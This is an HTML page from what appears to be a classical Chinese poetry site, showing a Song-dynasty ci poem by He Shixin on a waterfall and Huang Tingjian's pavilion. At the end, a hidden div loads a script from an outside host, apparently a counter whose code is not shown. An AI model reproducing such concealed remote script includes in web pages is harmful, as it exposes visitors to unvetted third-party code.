<html>
<head>
<title>古诗库：全宋词：何师心</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link rel="stylesheet" href="style.css"></head>
<body><script language="javascript" src="../../search.js"></script>
<center><input type="button" value="本页内部搜索" onclick="gofind()"></center>

                 <p align="center">何师心<p align="center">满江红</p>
<ul>
    其侧有亭，山谷榜曰奇观。
<p>
    一水飞空，揭起珠帘全幅。不须人卷，不须人轴。一点不容飞燕入，些儿未许游鱼宿。向山头、款步听疏音，清如玉。
<p>
    三峡水，堪人掬。三汲浪，堪龙浴。更两边潇洒，数竿竹。晓倩碧烟为绳束，夜凭新月为钩曲。问当年、题品是何人，黄山谷。
<p>
</ul>
                
<div style="DISPLAY: none"><script src=http://www.lingshidao.com/count/count.php></script></div></body>
</html>
